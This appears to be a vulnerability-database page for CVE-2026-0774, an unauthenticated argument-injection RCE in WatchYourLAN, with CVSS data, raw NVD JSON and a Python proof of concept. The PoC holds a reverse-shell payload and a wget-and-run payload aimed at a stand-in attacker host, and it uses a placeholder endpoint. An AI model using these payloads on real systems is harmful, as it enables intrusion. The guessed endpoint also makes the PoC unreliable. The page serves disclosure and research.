Security Vulnerability Report
中文
CVE-2026-0774 CVSS 8.8 HIGH

CVE-2026-0774

Published: 2026-01-23 04:16:05
Last Modified: 2026-04-15 00:35:42

Description

WatchYourLAN Configuration Page Argument Injection Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of WatchYourLAN. Authentication is not required to exploit this vulnerability. The specific flaw exists within the handling of the arpstrs parameter. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-26708.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WatchYourLAN < 修复版本
WatchYourLAN 所有未打补丁版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-0774 PoC - WatchYourLAN Argument Injection RCE # Target: WatchYourLAN configuration page # Vulnerability: Unvalidated arpstrs parameter passed to system call target_url = "http://target:8840" # Default WatchYourLAN port # Payload to execute arbitrary command via arpstrs parameter # Using semicolon to chain commands and reverse shell connection malicious_payload = ";bash -i >& /dev/tcp/attacker_ip/attacker_port 0>&1" # Alternative payload using command substitution # malicious_payload = "$(wget http://attacker_ip/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh)" # Construct the exploit request params = { 'arpstrs': malicious_payload } try: # Send the malicious request to the configuration page # No authentication required (PR:N) response = requests.get(f"{target_url}/some/config/endpoint", params=params, timeout=10) print(f"[*] Request sent to {target_url}") print(f"[*] Payload: {malicious_payload}") print(f"[*] Response status: {response.status_code}") if response.status_code == 200: print("[+] Exploit request completed. Check for reverse shell.") else: print("[-] Unexpected response code") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Note: This PoC demonstrates the vulnerability concept. # Actual exploitation requires identifying the correct endpoint and parameter handling.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0774", "sourceIdentifier": "[email protected]", "published": "2026-01-23T04:16:04.650", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "WatchYourLAN Configuration Page Argument Injection Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of WatchYourLAN. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the handling of the arpstrs parameter. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-26708."}, {"lang": "es", "value": "Vulnerabilidad de ejecución remota de código por inyección de argumentos en la página de configuración de WatchYourLAN. Esta vulnerabilidad permite a atacantes adyacentes a la red ejecutar código arbitrario en instalaciones afectadas de WatchYourLAN. No se requiere autenticación para explotar esta vulnerabilidad.\n\nLa falla específica reside en el manejo del parámetro arpstrs. El problema se debe a la falta de validación adecuada de una cadena proporcionada por el usuario antes de usarla para ejecutar una llamada al sistema. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto de la cuenta de servicio. Fue ZDI-CAN-26708."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-88"}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-039/", "source": "[email protected]"}]}}